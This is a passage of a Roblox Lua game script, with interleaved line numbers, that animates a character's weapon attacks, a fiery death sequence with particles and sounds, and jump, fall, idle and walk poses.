		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
5569
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
5570
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
5571
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
5572
    end
5573
     so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) 
5574
for i=0,1,0.1 do
5575
        swait()
5576
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5577
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
5578
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5579
        Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
5580
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5581
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
5582
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
5583
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
5584
       	LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
5585
    end
5586
     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
5587
for i=0,1,0.1 do
5588
        swait()
5589
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5590
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
5591
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5592
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
5593
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
5594
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
5595
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
5596
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
5597
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
5598
       
5599
    end
5600
so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
5601
for i=0,1,0.1 do
5602
        swait()
5603
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5604
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
5605
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5606
        Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
5607
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5608
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
5609
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
5610
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
5611
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
5612
    end
5613
so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
5614
for i=0,1,0.1 do
5615
        swait()
5616
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5617
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
5618
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5619
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
5620
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
5621
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
5622
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
5623
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
5624
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
5625
    end
5626
    --dmgstop()
5627
    Humanoid.WalkSpeed=12
5628
    attack=false
5629
end
5630
5631
function Die()
5632
    attack=true
5633
Footsteps:Stop()
5634
Footsteps2:Stop()
5635
local Fire = it("Sound",Character.Torso)
5636
Fire.SoundId = "rbxassetid://192104941"
5637
Fire.Looped = true
5638
Fire.Pitch = 1
5639
Fire.Volume = 1
5640
local Fire2 = it("Sound",Handle2)
5641
Fire2.SoundId = "rbxassetid://192104941"
5642
Fire2.Looped = true
5643
Fire2.Pitch = 1
5644
Fire2.Volume = 1
5645
local Fire3 = it("Sound",Handle)
5646
Fire3.SoundId = "rbxassetid://192104941"
5647
Fire3.Looped = true
5648
Fire3.Pitch = 1
5649
Fire3.Volume = 1
5650
local Fire4 = it("Sound",handle)
5651
Fire4.SoundId = "rbxassetid://192104941"
5652
Fire4.Looped = true
5653
Fire4.Pitch = 1
5654
Fire4.Volume = 1
5655
local fire = Instance.new("ParticleEmitter", Character.Torso)
5656
fire.Lifetime = NumberRange.new(0.5)
5657
fire.Speed = NumberRange.new(1, 3)
5658
fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
5659
fire.Rate = 0
5660
fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
5661
fire.LightEmission = 0.6
5662
fire.Texture = "http://www.roblox.com/asset/?id=242911609"
5663
fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
5664
local fire2 = Instance.new("ParticleEmitter", Handle)
5665
fire2.Lifetime = NumberRange.new(0.5)
5666
fire2.Speed = NumberRange.new(1, 3)
5667
fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
5668
fire2.Rate = 0
5669
fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
5670
fire2.LightEmission = 0.6
5671
fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
5672
fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
5673
local fire3 = Instance.new("ParticleEmitter", Handle2)
5674
fire3.Lifetime = NumberRange.new(0.5)
5675
fire3.Speed = NumberRange.new(1, 3)
5676
fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
5677
fire3.Rate = 0
5678
fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
5679
fire3.LightEmission = 0.6
5680
fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
5681
fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
5682
local fire4 = Instance.new("ParticleEmitter", handle)
5683
fire4.Lifetime = NumberRange.new(0.5)
5684
fire4.Speed = NumberRange.new(1, 3)
5685
fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
5686
fire4.Rate = 0
5687
fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
5688
fire4.LightEmission = 0.6
5689
fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
5690
fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
5691
    Humanoid.WalkSpeed = 0
5692
    so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
5693
    so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
5694
    for i=0,1,0.08 do
5695
        swait()
5696
        Torso.Velocity=RootPart.CFrame.lookVector*-30
5697
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
5698
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
5699
        handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
5700
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
5701
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
5702
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
5703
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
5704
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
5705
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
5706
    end
5707
    for i=0,1,0.005 do
5708
        swait()
5709
        light.Range=15-10*i
5710
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
5711
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
5712
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
5713
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
5714
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
5715
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
5716
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
5717
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
5718
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
5719
    end
5720
light.Range=0
5721
    for i=0,1,0.01 do
5722
        swait()
5723
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
5724
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
5725
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
5726
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
5727
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
5728
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
5729
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
5730
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
5731
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
5732
    end
5733
    so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
5734
    fire.Rate = 1000
5735
    fire2.Rate = 1000
5736
    fire3.Rate = 1000
5737
    fire4.Rate = 1000
5738
	Fire:Play()
5739
	Fire2:Play()
5740
	Fire3:Play()
5741
	Fire4:Play()
5742
    for i=0,1,0.005 do
5743
        swait()
5744
Character.Character.Head.face.Transparency = 0+1*i
5745
LeftArm.Transparency=0+1*i
5746
RightArm.Transparency=0+1*i
5747
LeftLeg.Transparency=0+1*i
5748
RightLeg.Transparency=0+1*i
5749
Head.Transparency=0+1*i
5750
Torso.Transparency=0+1*i
5751
for _,v in pairs(Character:children()) do
5752
                if v:IsA("Hat") then
5753
                        v.Handle.Transparency = 0+1*i
5754
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
5755
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
5756
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
5757
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
5758
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
5759
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
5760
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
5761
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
5762
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
5763
    end
5764
    end
5765
    --dmgstop()
5766
end
5767
Humanoid.Health = 0
5768
end
5769
5770
equipanim()
5771
5772
local sine = 0
5773
local change = 1
5774
local val = 0
5775
5776
local mananum=0
5777
while true do
5778
swait()
5779
sine = sine + change
5780
local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude 
5781
local velderp=RootPart.Velocity.y
5782
hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
5783
if equipped==true or equipped==false then
5784
if Anim=="Idle" and attack==false then
5785
idle=idle+1
5786
else
5787
idle=0
5788
end
5789
if Humanoid.Health <=20 then
5790
if attack == false then
5791
Humanoid.Health = math.huge
5792
Die()
5793
end
5794
end
5795
if idle>=1000 then
5796
if attack==false then
5797
--Sheath()
5798
end
5799
end
5800
if RootPart.Velocity.y > 1 and hitfloor==nil then 
5801
Anim="Jump"
5802
if attack==false then
5803
Footsteps:Stop()
5804
Footsteps2:Stop()
5805
Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
5806
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
5807
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
5808
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
5809
RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
5810
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
5811
LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
5812
RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
5813
LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
5814
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
5815
Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
5816
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
5817
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5818
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5819
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5820
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5821
end
5822
elseif RootPart.Velocity.y < -1 and hitfloor==nil then 
5823
Anim="Fall"
5824
if attack==false then
5825
Footsteps:Stop()
5826
Footsteps2:Stop()
5827
Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
5828
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
5829
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
5830
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
5831
RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
5832
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
5833
LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
5834
RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
5835
LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
5836
handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
5837
Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
5838
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
5839
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5840
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5841
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5842
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5843
end
5844
elseif torvel<1 and hitfloor~=nil then
5845
Anim="Idle"
5846
change=0.5
5847
if idle>=1000 then
5848
if attack==false then
5849
Footsteps:Stop()
5850
Footsteps2:Stop()
5851
Humanoid.WalkSpeed=12
5852
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
5853
Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
5854
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
5855
RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
5856
LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
5857
RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
5858
LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
5859
handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
5860
Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
5861
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
5862
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5863
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5864
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5865
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5866
end
5867
else
5868
if attack==false then
5869
Footsteps:Stop()
5870
Footsteps2:Stop()
5871
Humanoid.WalkSpeed=12
5872
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
5873
Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
5874
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
5875
RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
5876
LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
5877
RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
5878
LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
5879
handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
5880
Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
5881
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
5882
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5883
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5884
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5885
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5886
end
5887
end
5888
elseif torvel>2 and torvel<22 and hitfloor~=nil then
5889
Anim="Walk"
5890
if attack==false then
5891
change=0.8
5892
--[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
5893
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
5894
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
5895
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
5896
RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
5897
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
5898
--Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5899
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
5900
RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
5901
--RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
5902
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
5903
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
5904
RH.C0=clerp(RH.C0,RHC0,.3)
5905
LH.C0=clerp(LH.C0,LHC0,.3)
5906
Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5907
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5908
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5909
